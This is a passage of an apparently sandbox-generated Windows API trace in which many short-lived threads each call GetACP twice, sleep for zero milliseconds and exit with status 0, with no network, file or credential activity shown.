1747 os_tid = 0x19e0 [0231.449] GetACP () returned 0x4e4 [0231.449] GetACP () returned 0x4e4 [0231.449] Sleep (dwMilliseconds=0x0) [0231.611] RtlExitUserThread (Status=0x0) Thread: id = 1748 os_tid = 0x19e4 [0231.450] GetACP () returned 0x4e4 [0231.450] GetACP () returned 0x4e4 [0231.450] Sleep (dwMilliseconds=0x0) [0231.612] RtlExitUserThread (Status=0x0) Thread: id = 1749 os_tid = 0x19e8 [0231.450] GetACP () returned 0x4e4 [0231.450] GetACP () returned 0x4e4 [0231.450] Sleep (dwMilliseconds=0x0) [0231.614] RtlExitUserThread (Status=0x0) Thread: id = 1750 os_tid = 0x19ec [0231.451] GetACP () returned 0x4e4 [0231.451] GetACP () returned 0x4e4 [0231.451] Sleep (dwMilliseconds=0x0) [0231.614] RtlExitUserThread (Status=0x0) Thread: id = 1751 os_tid = 0x19f0 [0231.451] GetACP () returned 0x4e4 [0231.451] GetACP () returned 0x4e4 [0231.451] Sleep (dwMilliseconds=0x0) [0231.615] RtlExitUserThread (Status=0x0) Thread: id = 1752 os_tid = 0x19f4 [0231.452] GetACP () returned 0x4e4 [0231.452] GetACP () returned 0x4e4 [0231.452] Sleep (dwMilliseconds=0x0) [0231.618] RtlExitUserThread (Status=0x0) Thread: id = 1753 os_tid = 0x19f8 [0231.452] GetACP () returned 0x4e4 [0231.452] GetACP () returned 0x4e4 [0231.452] Sleep (dwMilliseconds=0x0) [0231.619] RtlExitUserThread (Status=0x0) Thread: id = 1754 os_tid = 0x19fc [0231.453] GetACP () returned 0x4e4 [0231.453] GetACP () returned 0x4e4 [0231.453] Sleep (dwMilliseconds=0x0) [0231.619] RtlExitUserThread (Status=0x0) Thread: id = 1755 os_tid = 0x1a00 [0231.453] GetACP () returned 0x4e4 [0231.453] GetACP () returned 0x4e4 [0231.453] Sleep (dwMilliseconds=0x0) [0231.620] RtlExitUserThread (Status=0x0) Thread: id = 1756 os_tid = 0x1a04 [0231.453] GetACP () returned 0x4e4 [0231.453] GetACP () returned 0x4e4 [0231.453] Sleep (dwMilliseconds=0x0) [0231.621] RtlExitUserThread (Status=0x0) Thread: id = 1777 os_tid = 0x1a58 [0231.623] GetACP () returned 0x4e4 [0231.623] GetACP () returned 0x4e4 [0231.623] Sleep (dwMilliseconds=0x0) [0231.761] RtlExitUserThread (Status=0x0) Thread: id = 1778 os_tid = 0x1a5c [0231.624] GetACP () returned 0x4e4 [0231.624] GetACP () returned 0x4e4 [0231.624] Sleep (dwMilliseconds=0x0) [0231.786] RtlExitUserThread (Status=0x0) Thread: id = 1779 os_tid = 0x1a60 [0231.624] GetACP () returned 0x4e4 [0231.624] GetACP () returned 0x4e4 [0231.624] Sleep (dwMilliseconds=0x0) [0231.787] RtlExitUserThread (Status=0x0) Thread: id = 1780 os_tid = 0x1a64 [0231.625] GetACP () returned 0x4e4 [0231.625] GetACP () returned 0x4e4 [0231.625] Sleep (dwMilliseconds=0x0) [0231.788] RtlExitUserThread (Status=0x0) Thread: id = 1781 os_tid = 0x1a68 [0231.625] GetACP () returned 0x4e4 [0231.625] GetACP () returned 0x4e4 [0231.625] Sleep (dwMilliseconds=0x0) [0231.788] RtlExitUserThread (Status=0x0) Thread: id = 1782 os_tid = 0x1a6c [0231.626] GetACP () returned 0x4e4 [0231.626] GetACP () returned 0x4e4 [0231.626] Sleep (dwMilliseconds=0x0) [0231.789] RtlExitUserThread (Status=0x0) Thread: id = 1783 os_tid = 0x1a70 [0231.626] GetACP () returned 0x4e4 [0231.626] GetACP () returned 0x4e4 [0231.626] Sleep (dwMilliseconds=0x0) [0231.790] RtlExitUserThread (Status=0x0) Thread: id = 1784 os_tid = 0x1a74 [0231.627] GetACP () returned 0x4e4 [0231.627] GetACP () returned 0x4e4 [0231.627] Sleep (dwMilliseconds=0x0) [0231.790] RtlExitUserThread (Status=0x0) Thread: id = 1785 os_tid = 0x1a78 [0231.627] GetACP () returned 0x4e4 [0231.627] GetACP () returned 0x4e4 [0231.627] Sleep (dwMilliseconds=0x0) [0231.791] RtlExitUserThread (Status=0x0) Thread: id = 1786 os_tid = 0x1a7c [0231.628] GetACP () returned 0x4e4 [0231.628] GetACP () returned 0x4e4 [0231.628] Sleep (dwMilliseconds=0x0) [0231.792] RtlExitUserThread (Status=0x0) Thread: id = 1787 os_tid = 0x1a80 [0231.628] GetACP () returned 0x4e4 [0231.628] GetACP () returned 0x4e4 [0231.628] Sleep (dwMilliseconds=0x0) [0231.793] RtlExitUserThread (Status=0x0) Thread: id = 1788 os_tid = 0x1a84 [0231.629] GetACP () returned 0x4e4 [0231.629] GetACP () returned 0x4e4 [0231.629] Sleep (dwMilliseconds=0x0) [0231.794] RtlExitUserThread (Status=0x0) Thread: id = 1789 os_tid = 0x1a88 [0231.629] GetACP () returned 0x4e4 [0231.629] GetACP () returned 0x4e4 [0231.629] Sleep (dwMilliseconds=0x0) [0231.795] RtlExitUserThread (Status=0x0) Thread: id = 1790 os_tid = 0x1a8c [0231.630] GetACP () returned 0x4e4 [0231.630] GetACP () returned 0x4e4 [0231.630] Sleep (dwMilliseconds=0x0) [0231.795] RtlExitUserThread (Status=0x0) Thread: id = 1791 os_tid = 0x1a90 [0231.630] GetACP () returned 0x4e4 [0231.630] GetACP () returned 0x4e4 [0231.631] Sleep (dwMilliseconds=0x0) [0231.796] RtlExitUserThread (Status=0x0) Thread: id = 1792 os_tid = 0x1a94 [0231.631] GetACP () returned 0x4e4 [0231.631] GetACP () returned 0x4e4 [0231.631] Sleep (dwMilliseconds=0x0) [0231.796] RtlExitUserThread (Status=0x0) Thread: id = 1793 os_tid = 0x1a98 [0231.632] GetACP () returned 0x4e4 [0231.632] GetACP () returned 0x4e4 [0231.632] Sleep (dwMilliseconds=0x0) [0231.797] RtlExitUserThread (Status=0x0) Thread: id = 1794 os_tid = 0x1a9c [0231.633] GetACP () returned 0x4e4 [0231.633] GetACP () returned 0x4e4 [0231.633] Sleep (dwMilliseconds=0x0) [0231.798] RtlExitUserThread (Status=0x0) Thread: id = 1795 os_tid = 0x1aa0 [0231.634] GetACP () returned 0x4e4 [0231.634] GetACP () returned 0x4e4 [0231.634] Sleep (dwMilliseconds=0x0) [0231.799] RtlExitUserThread (Status=0x0) Thread: id = 1796 os_tid = 0x1aa4 [0231.634] GetACP () returned 0x4e4 [0231.634] GetACP () returned 0x4e4 [0231.634] Sleep (dwMilliseconds=0x0) [0231.800] RtlExitUserThread (Status=0x0) Thread: id = 1817 os_tid = 0x1af8 [0231.801] GetACP () returned 0x4e4 [0231.801] GetACP () returned 0x4e4 [0231.801] Sleep (dwMilliseconds=0x0) [0231.976] RtlExitUserThread (Status=0x0) Thread: id = 1818 os_tid = 0x1afc [0231.801] GetACP () returned 0x4e4 [0231.801] GetACP () returned 0x4e4 [0231.801] Sleep (dwMilliseconds=0x0) [0231.977] RtlExitUserThread (Status=0x0) Thread: id = 1819 os_tid = 0x1b00 [0231.802] GetACP () returned 0x4e4 [0231.802] GetACP () returned 0x4e4 [0231.802] Sleep (dwMilliseconds=0x0) [0231.978] RtlExitUserThread (Status=0x0) Thread: id = 1820 os_tid = 0x1b04 [0231.802] GetACP () returned 0x4e4 [0231.802] GetACP () returned 0x4e4 [0231.803] Sleep (dwMilliseconds=0x0) [0231.979] RtlExitUserThread (Status=0x0) Thread: id = 1821 os_tid = 0x1b08 [0231.804] GetACP () returned 0x4e4 [0231.804] GetACP () returned 0x4e4 [0231.804] Sleep (dwMilliseconds=0x0) [0231.980] RtlExitUserThread (Status=0x0) Thread: id = 1822 os_tid = 0x1b0c [0231.804] GetACP () returned 0x4e4 [0231.804] GetACP () returned 0x4e4 [0231.804] Sleep (dwMilliseconds=0x0) [0231.981] RtlExitUserThread (Status=0x0) Thread: id = 1823 os_tid = 0x1b10 [0231.804] GetACP () returned 0x4e4 [0231.804] GetACP () returned 0x4e4 [0231.804] Sleep (dwMilliseconds=0x0) [0231.982] RtlExitUserThread (Status=0x0) Thread: id = 1824 os_tid = 0x1b14 [0231.805] GetACP () returned 0x4e4 [0231.805] GetACP () returned 0x4e4 [0231.805] Sleep (dwMilliseconds=0x0) [0231.983] RtlExitUserThread (Status=0x0) Thread: id = 1825 os_tid = 0x1b18 [0231.805] GetACP () returned 0x4e4 [0231.805] GetACP () returned 0x4e4 [0231.805] Sleep (dwMilliseconds=0x0) [0231.984] RtlExitUserThread (Status=0x0) Thread: id = 1826 os_tid = 0x1b1c [0231.806] GetACP () returned 0x4e4 [0231.806] GetACP () returned 0x4e4 [0231.806] Sleep (dwMilliseconds=0x0) [0231.984] RtlExitUserThread (Status=0x0) Thread: id = 1827 os_tid = 0x1b20 [0231.806] GetACP () returned 0x4e4 [0231.806] GetACP () returned 0x4e4 [0231.806] Sleep (dwMilliseconds=0x0) [0231.985] RtlExitUserThread (Status=0x0) Thread: id = 1828 os_tid = 0x1b24 [0231.807] GetACP () returned 0x4e4 [0231.807] GetACP () returned 0x4e4 [0231.807] Sleep (dwMilliseconds=0x0) [0231.986] RtlExitUserThread (Status=0x0) Thread: id = 1829 os_tid = 0x1b28 [0231.807] GetACP () returned 0x4e4 [0231.807] GetACP () returned 0x4e4 [0231.807] Sleep (dwMilliseconds=0x0) [0231.987] RtlExitUserThread (Status=0x0) Thread: id = 1830 os_tid = 0x1b2c [0231.808] GetACP () returned 0x4e4 [0231.808] GetACP () returned 0x4e4 [0231.808] Sleep (dwMilliseconds=0x0) [0231.987] RtlExitUserThread (Status=0x0) Thread: id = 1831 os_tid = 0x1b30 [0231.808] GetACP () returned 0x4e4 [0231.808] GetACP () returned 0x4e4 [0231.808] Sleep (dwMilliseconds=0x0) [0231.988] RtlExitUserThread (Status=0x0) Thread: id = 1832 os_tid = 0x1b34 [0231.809] GetACP () returned 0x4e4 [0231.809] GetACP () returned 0x4e4 [0231.809] Sleep (dwMilliseconds=0x0) [0231.990] RtlExitUserThread (Status=0x0) Thread: id = 1833 os_tid = 0x1b38 [0231.809] GetACP () returned 0x4e4 [0231.809] GetACP () returned 0x4e4 [0231.809] Sleep (dwMilliseconds=0x0) [0231.991] RtlExitUserThread (Status=0x0) Thread: id = 1834 os_tid = 0x1b3c [0231.809] GetACP () returned 0x4e4 [0231.809] GetACP () returned 0x4e4 [0231.810] Sleep (dwMilliseconds=0x0) [0231.992] RtlExitUserThread (Status=0x0) Thread: id = 1835 os_tid = 0x1b40 [0231.811] GetACP () returned 0x4e4 [0231.811] GetACP () returned 0x4e4 [0231.811] Sleep (dwMilliseconds=0x0) [0231.992] RtlExitUserThread (Status=0x0) Thread: id = 1836 os_tid = 0x1b44 [0231.811] GetACP () returned 0x4e4 [0231.811] GetACP () returned 0x4e4 [0231.811] Sleep (dwMilliseconds=0x0) [0231.993] RtlExitUserThread (Status=0x0) Thread: id = 1857 os_tid = 0x1b98 [0231.995] GetACP () returned 0x4e4 [0231.995] GetACP () returned 0x4e4 [0231.995] Sleep (dwMilliseconds=0x0) [0232.153] RtlExitUserThread (Status=0x0) Thread: id = 1858 os_tid = 0x1b9c [0231.996] GetACP () returned 0x4e4 [0231.996] GetACP () returned 0x4e4 [0231.996] Sleep (dwMilliseconds=0x0) [0232.154] RtlExitUserThread (Status=0x0) Thread: id = 1859 os_tid = 0x1ba0 [0231.996] GetACP () returned 0x4e4 [0231.996] GetACP () returned 0x4e4 [0231.996] Sleep (dwMilliseconds=0x0) [0232.155] RtlExitUserThread (Status=0x0) Thread: id = 1860 os_tid = 0x1ba4 [0231.997] GetACP () returned 0x4e4 [0231.997] GetACP () returned 0x4e4 [0231.997] Sleep (dwMilliseconds=0x0) [0232.156] RtlExitUserThread (Status=0x0) Thread: id = 1861 os_tid = 0x1ba8 [0231.997] GetACP () returned 0x4e4 [0231.997] GetACP () returned 0x4e4 [0231.997] Sleep (dwMilliseconds=0x0) [0232.156] RtlExitUserThread (Status=0x0) Thread: id = 1862 os_tid = 0x1bac [0231.998] GetACP () returned 0x4e4 [0231.998] GetACP () returned 0x4e4 [0231.998] Sleep (dwMilliseconds=0x0) [0232.157] RtlExitUserThread (Status=0x0) Thread: id = 1863 os_tid = 0x1bb0 [0231.998] GetACP () returned 0x4e4 [0231.998] GetACP () returned 0x4e4 [0231.998] Sleep (dwMilliseconds=0x0) [0232.158] RtlExitUserThread (Status=0x0) Thread: id = 1864 os_tid = 0x1bb4 [0231.999] GetACP () returned 0x4e4 [0231.999] GetACP () returned 0x4e4 [0231.999] Sleep (dwMilliseconds=0x0) [0232.159] RtlExitUserThread (Status=0x0) Thread: id = 1865 os_tid = 0x1bb8 [0232.000] GetACP () returned 0x4e4 [0232.000] GetACP () returned 0x4e4 [0232.000] Sleep (dwMilliseconds=0x0) [0232.159] RtlExitUserThread (Status=0x0) Thread: id = 1866 os_tid = 0x1bbc [0232.000] GetACP () returned 0x4e4 [0232.000] GetACP () returned 0x4e4 [0232.000] Sleep (dwMilliseconds=0x0) [0232.160] RtlExitUserThread (Status=0x0) Thread: id = 1867 os_tid = 0x1bc0 [0232.001] GetACP () returned 0x4e4 [0232.001] GetACP () returned 0x4e4 [0232.001] Sleep (dwMilliseconds=0x0) [0232.161] RtlExitUserThread (Status=0x0) Thread: id = 1868 os_tid = 0x1bc4 [0232.001] GetACP () returned 0x4e4 [0232.001] GetACP () returned 0x4e4 [0232.001] Sleep (dwMilliseconds=0x0) [0232.162] RtlExitUserThread (Status=0x0) Thread: id = 1869 os_tid = 0x1bc8 [0232.002] GetACP () returned 0x4e4 [0232.002] GetACP () returned 0x4e4 [0232.002] Sleep (dwMilliseconds=0x0) [0232.163] RtlExitUserThread (Status=0x0) Thread: id = 1870 os_tid = 0x1bcc [0232.003] GetACP () returned 0x4e4 [0232.003] GetACP () returned 0x4e4 [0232.003] Sleep (dwMilliseconds=0x0) [0232.163] RtlExitUserThread (Status=0x0) Thread: id = 1871 os_tid = 0x1bd0 [0232.003] GetACP () returned 0x4e4 [0232.003] GetACP () returned 0x4e4 [0232.003] Sleep (dwMilliseconds=0x0) [0232.164] RtlExitUserThread (Status=0x0) Thread: id = 1872 os_tid = 0x1bd4 [0232.003] GetACP () returned 0x4e4 [0232.003] GetACP () returned 0x4e4 [0232.003] Sleep (dwMilliseconds=0x0) [0232.165] RtlExitUserThread (Status=0x0) Thread: id = 1873 os_tid = 0x1bd8 [0232.004] GetACP () returned 0x4e4 [0232.004] GetACP () returned 0x4e4 [0232.004] Sleep (dwMilliseconds=0x0) [0232.165] RtlExitUserThread (Status=0x0) Thread: id = 1874 os_tid = 0x1bdc [0232.004] GetACP () returned 0x4e4 [0232.004] GetACP () returned 0x4e4 [0232.004] Sleep (dwMilliseconds=0x0) [0232.166] RtlExitUserThread (Status=0x0) Thread: id = 1875 os_tid = 0x1be0 [0232.005] GetACP () returned 0x4e4 [0232.005] GetACP () returned 0x4e4 [0232.005] Sleep (dwMilliseconds=0x0) [0232.166] RtlExitUserThread (Status=0x0) Thread: id = 1876 os_tid = 0x1be4 [0232.005] GetACP () returned 0x4e4 [0232.005] GetACP () returned 0x4e4 [0232.005] Sleep (dwMilliseconds=0x0) [0232.167] RtlExitUserThread (Status=0x0) Thread: id = 1897 os_tid = 0x1c18 [0232.168] GetACP () returned 0x4e4 [0232.168] GetACP () returned 0x4e4 [0232.168] Sleep (dwMilliseconds=0x0) [0232.366] RtlExitUserThread (Status=0x0) Thread: id = 1898 os_tid = 0x1c1c [0232.168] GetACP () returned 0x4e4 [0232.168] GetACP () returned 0x4e4 [0232.168] Sleep (dwMilliseconds=0x0) [0232.367] RtlExitUserThread (Status=0x0) Thread: id = 1899 os_tid = 0x1c20 [0232.168] GetACP () returned 0x4e4 [0232.169] GetACP () returned 0x4e4 [0232.169] Sleep (dwMilliseconds=0x0) [0232.368] RtlExitUserThread (Status=0x0) Thread: id = 1900 os_tid = 0x1c24 [0232.169] GetACP () returned 0x4e4 [0232.169] GetACP () returned 0x4e4 [0232.169] Sleep (dwMilliseconds=0x0) [0232.369] RtlExitUserThread (Status=0x0) Thread: id = 1901 os_tid = 0x1c28 [0232.169] GetACP () returned 0x4e4 [0232.169] GetACP () returned 0x4e4 [0232.169] Sleep (dwMilliseconds=0x0) [0232.370] RtlExitUserThread (Status=0x0) Thread: id = 1902 os_tid = 0x1c2c [0232.170] GetACP () returned 0x4e4 [0232.170] GetACP () returned 0x4e4 [0232.170] Sleep (dwMilliseconds=0x0) [0232.371] RtlExitUserThread (Status=0x0) Thread: id = 1903 os_tid = 0x1c30 [0232.170] GetACP () returned 0x4e4 [0232.170] GetACP () returned 0x4e4 [0232.170] Sleep (dwMilliseconds=0x0) [0232.371] RtlExitUserThread (Status=0x0) Thread: id = 1904 os_tid = 0x1c34 [0232.171] GetACP () returned 0x4e4 [0232.171] GetACP () returned 0x4e4 [0232.171] Sleep (dwMilliseconds=0x0) [0232.373] RtlExitUserThread (Status=0x0) Thread: id = 1905 os_tid = 0x1c38 [0232.171] GetACP () returned 0x4e4 [0232.171] GetACP () returned 0x4e4 [0232.171] Sleep (dwMilliseconds=0x0) [0232.373] RtlExitUserThread (Status=0x0) Thread: id = 1906 os_tid = 0x1c3c [0232.172] GetACP () returned 0x4e4 [0232.172] GetACP () returned 0x4e4 [0232.172] Sleep (dwMilliseconds=0x0) [0232.378] RtlExitUserThread (Status=0x0) Thread: id = 1907 os_tid = 0x1c40 [0232.173] GetACP () returned 0x4e4 [0232.173] GetACP () returned 0x4e4 [0232.173] Sleep (dwMilliseconds=0x0) [0232.381] RtlExitUserThread (Status=0x0) Thread: id = 1908 os_tid = 0x1c44 [0232.173] GetACP () returned 0x4e4 [0232.173] GetACP () returned 0x4e4 [0232.173] Sleep (dwMilliseconds=0x0) [0232.439] RtlExitUserThread (Status=0x0) Thread: id = 1909 os_tid = 0x1c48 [0232.173] GetACP () returned 0x4e4 [0232.173] GetACP () returned 0x4e4 [0232.173] Sleep (dwMilliseconds=0x0) [0232.439] RtlExitUserThread (Status=0x0) Thread: id = 1910 os_tid = 0x1c4c [0232.174] GetACP () returned 0x4e4 [0232.174] GetACP () returned 0x4e4 [0232.174] Sleep (dwMilliseconds=0x0) [0232.440] RtlExitUserThread (Status=0x0) Thread: id = 1911 os_tid = 0x1c50 [0232.174] GetACP () returned 0x4e4 [0232.174] GetACP () returned 0x4e4 [0232.174] Sleep (dwMilliseconds=0x0) [0232.441] RtlExitUserThread (Status=0x0) Thread: id = 1912 os_tid = 0x1c54 [0232.175] GetACP () returned 0x4e4 [0232.175] GetACP () returned 0x4e4 [0232.175] Sleep (dwMilliseconds=0x0) [0232.441] RtlExitUserThread (Status=0x0) Thread: id = 1913 os_tid = 0x1c58 [0232.175] GetACP () returned 0x4e4 [0232.175] GetACP () returned 0x4e4 [0232.175] Sleep (dwMilliseconds=0x0) [0232.442] RtlExitUserThread (Status=0x0) Thread: id = 1914 os_tid = 0x1c5c [0232.175] GetACP () returned 0x4e4 [0232.175] GetACP () returned 0x4e4 [0232.176] Sleep (dwMilliseconds=0x0) [0232.443] RtlExitUserThread (Status=0x0) Thread: id = 1915 os_tid = 0x1c60 [0232.176] GetACP () returned 0x4e4 [0232.176] GetACP () returned 0x4e4 [0232.176] Sleep (dwMilliseconds=0x0) [0232.444] RtlExitUserThread (Status=0x0) Thread: id = 1916 os_tid = 0x1c64 [0232.176] GetACP () returned 0x4e4 [0232.176] GetACP () returned 0x4e4 [0232.176] Sleep (dwMilliseconds=0x0) [0232.444] RtlExitUserThread (Status=0x0) Thread: id = 1937 os_tid = 0x1cb8 [0232.445] GetACP () returned 0x4e4 [0232.445] GetACP () returned 0x4e4 [0232.445] Sleep (dwMilliseconds=0x0) [0232.597] RtlExitUserThread (Status=0x0) Thread: id = 1938 os_tid = 0x1cbc [0232.446] GetACP () returned 0x4e4 [0232.446] GetACP () returned 0x4e4 [0232.446] Sleep (dwMilliseconds=0x0) [0232.598] RtlExitUserThread (Status=0x0) Thread: id = 1939 os_tid = 0x1cc0 [0232.446] GetACP () returned 0x4e4 [0232.446] GetACP () returned 0x4e4 [0232.446] Sleep (dwMilliseconds=0x0) [0232.598] RtlExitUserThread (Status=0x0) Thread: id = 1940 os_tid = 0x1cc4 [0232.446] GetACP () returned 0x4e4 [0232.447] GetACP () returned 0x4e4 [0232.447] Sleep (dwMilliseconds=0x0) [0232.599] RtlExitUserThread (Status=0x0) Thread: id = 1941 os_tid = 0x1cc8 [0232.447] GetACP () returned 0x4e4 [0232.447] GetACP () returned 0x4e4 [0232.447] Sleep (dwMilliseconds=0x0) [0232.600] RtlExitUserThread (Status=0x0) Thread: id = 1942 os_tid = 0x1ccc [0232.447] GetACP () returned 0x4e4 [0232.447] GetACP () returned 0x4e4 [0232.447] Sleep (dwMilliseconds=0x0) [0232.601] RtlExitUserThread (Status=0x0) Thread: id = 1943 os_tid = 0x1cd0 [0232.448] GetACP () returned 0x4e4 [0232.448] GetACP () returned 0x4e4 [0232.448] Sleep (dwMilliseconds=0x0) [0232.601] RtlExitUserThread (Status=0x0) Thread: id = 1944 os_tid = 0x1cd4 [0232.448] GetACP () returned 0x4e4 [0232.448] GetACP () returned 0x4e4 [0232.448] Sleep (dwMilliseconds=0x0) [0232.602] RtlExitUserThread (Status=0x0) Thread: id = 1945 os_tid = 0x1cd8 [0232.449] GetACP () returned 0x4e4 [0232.449] GetACP () returned 0x4e4 [0232.449] Sleep (dwMilliseconds=0x0) [0232.603] RtlExitUserThread (Status=0x0) Thread: id = 1946 os_tid = 0x1cdc [0232.449] GetACP () returned 0x4e4 [0232.449] GetACP () returned 0x4e4 [0232.449] Sleep (dwMilliseconds=0x0) [0232.604] RtlExitUserThread (Status=0x0) Thread: id = 1947 os_tid = 0x1ce0 [0232.450] GetACP () returned 0x4e4 [0232.450] GetACP () returned 0x4e4 [0232.450] Sleep (dwMilliseconds=0x0) [0232.605] RtlExitUserThread (Status=0x0) Thread: id = 1948 os_tid = 0x1ce4 [0232.450] GetACP () returned 0x4e4 [0232.450] GetACP () returned 0x4e4 [0232.450] Sleep (dwMilliseconds=0x0) [0232.605] RtlExitUserThread (Status=0x0) Thread: id = 1949 os_tid = 0x1ce8 [0232.450] GetACP () returned 0x4e4 [0232.450] GetACP () returned 0x4e4 [0232.450] Sleep (dwMilliseconds=0x0) [0232.606] RtlExitUserThread (Status=0x0) Thread: id = 1950 os_tid = 0x1cec [0232.451] GetACP () returned 0x4e4 [0232.451] GetACP () returned 0x4e4 [0232.451] Sleep (dwMilliseconds=0x0) [0232.606] RtlExitUserThread (Status=0x0) Thread: id = 1951 os_tid = 0x1cf0 [0232.451] GetACP () returned 0x4e4 [0232.451] GetACP () returned 0x4e4 [0232.451] Sleep (dwMilliseconds=0x0) [0232.607] RtlExitUserThread (Status=0x0) Thread: id = 1952 os_tid = 0x1cf4 [0232.451] GetACP () returned 0x4e4 [0232.451] GetACP () returned 0x4e4 [0232.451] Sleep (dwMilliseconds=0x0) [0232.608] RtlExitUserThread (Status=0x0) Thread: id = 1953 os_tid = 0x1cf8 [0232.452] GetACP () returned 0x4e4 [0232.452] GetACP () returned 0x4e4 [0232.452] Sleep (dwMilliseconds=0x0) [0232.609] RtlExitUserThread (Status=0x0) Thread: id = 1954 os_tid = 0x1cfc [0232.453] GetACP () returned 0x4e4 [0232.453] GetACP () returned 0x4e4 [0232.453] Sleep (dwMilliseconds=0x0) [0232.610] RtlExitUserThread (Status=0x0) Thread: id = 1955 os_tid = 0x1d00 [0232.453] GetACP () returned 0x4e4 [0232.453] GetACP () returned 0x4e4 [0232.453] Sleep (dwMilliseconds=0x0) [0232.611] RtlExitUserThread (Status=0x0) Thread: id = 1956 os_tid = 0x1d04 [0232.454] GetACP () returned 0x4e4 [0232.454] GetACP () returned 0x4e4 [0232.454] Sleep (dwMilliseconds=0x0) [0232.612] RtlExitUserThread (Status=0x0) Thread: id = 1977 os_tid = 0x1d58 [0232.614] GetACP () returned 0x4e4 [0232.614] GetACP () returned 0x4e4 [0232.614] Sleep (dwMilliseconds=0x0) [0232.765] RtlExitUserThread (Status=0x0) Thread: id = 1978 os_tid = 0x1d5c [0232.615] GetACP () returned 0x4e4 [0232.615] GetACP () returned 0x4e4 [0232.615] Sleep (dwMilliseconds=0x0) [0232.767] RtlExitUserThread (Status=0x0) Thread: id = 1979 os_tid = 0x1d60 [0232.615] GetACP () returned 0x4e4 [0232.615] GetACP () returned 0x4e4 [0232.615] Sleep (dwMilliseconds=0x0) [0232.768] RtlExitUserThread (Status=0x0) Thread: id = 1980 os_tid = 0x1d64 [0232.616] GetACP () returned 0x4e4 [0232.616] GetACP () returned 0x4e4 [0232.616] Sleep (dwMilliseconds=0x0) [0232.769] RtlExitUserThread (Status=0x0) Thread: id = 1981 os_tid = 0x1d68 [0232.617] GetACP () returned 0x4e4 [0232.617] GetACP () returned 0x4e4 [0232.617] Sleep (dwMilliseconds=0x0) [0232.770] RtlExitUserThread (Status=0x0) Thread: id = 1982 os_tid = 0x1d6c [0232.617] GetACP () returned 0x4e4 [0232.617] GetACP () returned 0x4e4 [0232.617] Sleep (dwMilliseconds=0x0) [0232.771] RtlExitUserThread (Status=0x0) Thread: id = 1983 os_tid = 0x1d70 [0232.618] GetACP () returned 0x4e4 [0232.618] GetACP () returned 0x4e4 [0232.618] Sleep (dwMilliseconds=0x0) [0232.772] RtlExitUserThread (Status=0x0) Thread: id = 1984 os_tid = 0x1d74 [0232.619] GetACP () returned 0x4e4 [0232.619] GetACP () returned 0x4e4 [0232.619] Sleep (dwMilliseconds=0x0) [0232.773] RtlExitUserThread (Status=0x0) Thread: id = 1985 os_tid = 0x1d78 [0232.620] GetACP () returned 0x4e4 [0232.620] GetACP () returned 0x4e4 [0232.620] Sleep (dwMilliseconds=0x0) [0232.773] RtlExitUserThread (Status=0x0) Thread: id = 1986 os_tid = 0x1d7c [0232.620] GetACP () returned 0x4e4 [0232.620] GetACP () returned 0x4e4 [0232.620] Sleep (dwMilliseconds=0x0) [0232.774] RtlExitUserThread (Status=0x0) Thread: id = 1987 os_tid = 0x1d80 [0232.621] GetACP () returned 0x4e4 [0232.621] GetACP () returned 0x4e4 [0232.621] Sleep (dwMilliseconds=0x0) [0232.775] RtlExitUserThread (Status=0x0) Thread: id = 1988 os_tid = 0x1d84 [0232.621] GetACP () returned 0x4e4 [0232.622] GetACP () returned 0x4e4 [0232.622] Sleep (dwMilliseconds=0x0) [0232.777] RtlExitUserThread (Status=0x0) Thread: id = 1989 os_tid = 0x1d88 [0232.622] GetACP () returned 0x4e4 [0232.622] GetACP () returned 0x4e4 [0232.622] Sleep (dwMilliseconds=0x0) [0232.778] RtlExitUserThread (Status=0x0) Thread: id = 1990 os_tid = 0x1d8c [0232.623] GetACP () returned 0x4e4 [0232.623] GetACP () returned 0x4e4 [0232.623] Sleep (dwMilliseconds=0x0) [0232.779] RtlExitUserThread (Status=0x0) Thread: id = 1991 os_tid = 0x1d90 [0232.623] GetACP () returned 0x4e4 [0232.623] GetACP () returned 0x4e4 [0232.623] Sleep (dwMilliseconds=0x0) [0232.780] RtlExitUserThread (Status=0x0) Thread: id = 1992 os_tid = 0x1d94 [0232.625] GetACP () returned 0x4e4 [0232.625] GetACP () returned 0x4e4 [0232.625] Sleep (dwMilliseconds=0x0) [0232.781] RtlExitUserThread (Status=0x0) Thread: id = 1993 os_tid = 0x1d98 [0232.625] GetACP () returned 0x4e4 [0232.625] GetACP () returned 0x4e4 [0232.625] Sleep (dwMilliseconds=0x0) [0232.782] RtlExitUserThread (Status=0x0) Thread: id = 1994 os_tid = 0x1d9c [0232.625] GetACP () returned 0x4e4 [0232.626] GetACP () returned 0x4e4 [0232.626] Sleep (dwMilliseconds=0x0) [0232.782] RtlExitUserThread (Status=0x0) Thread: id = 1995 os_tid = 0x1da0 [0232.626] GetACP () returned 0x4e4 [0232.626] GetACP () returned 0x4e4 [0232.626] Sleep (dwMilliseconds=0x0) [0232.783] RtlExitUserThread (Status=0x0) Thread: id = 1996 os_tid = 0x1da4 [0232.626] GetACP () returned 0x4e4 [0232.626] GetACP () returned 0x4e4 [0232.626] Sleep (dwMilliseconds=0x0) [0232.784] RtlExitUserThread (Status=0x0) Thread: id = 2017 os_tid = 0x1df8 [0232.786] GetACP () returned 0x4e4 [0232.787] GetACP () returned 0x4e4 [0232.787] Sleep (dwMilliseconds=0x0) [0233.197] RtlExitUserThread (Status=0x0) Thread: id = 2018 os_tid = 0x1dfc [0232.787] GetACP () returned 0x4e4 [0232.787] GetACP () returned 0x4e4 [0232.787] Sleep (dwMilliseconds=0x0) [0233.198] RtlExitUserThread (Status=0x0) Thread: id = 2019 os_tid = 0x1e00 [0232.788] GetACP () returned 0x4e4 [0232.788] GetACP () returned 0x4e4 [0232.788] Sleep (dwMilliseconds=0x0) [0233.198] RtlExitUserThread (Status=0x0) Thread: id = 2020 os_tid = 0x1e04 [0232.789] GetACP () returned 0x4e4 [0232.789] GetACP () returned 0x4e4 [0232.789] Sleep (dwMilliseconds=0x0) [0233.201] RtlExitUserThread (Status=0x0) Thread: id = 2021 os_tid = 0x1e08 [0232.790] GetACP () returned 0x4e4 [0232.790] GetACP () returned 0x4e4 [0232.790] Sleep (dwMilliseconds=0x0) [0233.203] RtlExitUserThread (Status=0x0) Thread: id = 2022 os_tid = 0x1e0c [0232.791] GetACP () returned 0x4e4 [0232.791] GetACP () returned 0x4e4 [0232.791] Sleep (dwMilliseconds=0x0) [0233.204] RtlExitUserThread (Status=0x0) Thread: id = 2023 os_tid = 0x1e10 [0232.792] GetACP () returned 0x4e4 [0232.792] GetACP () returned 0x4e4 [0232.792] Sleep (dwMilliseconds=0x0) [0233.205] RtlExitUserThread (Status=0x0) Thread: id = 2024 os_tid = 0x1e14 [0232.792] GetACP () returned 0x4e4 [0232.792] 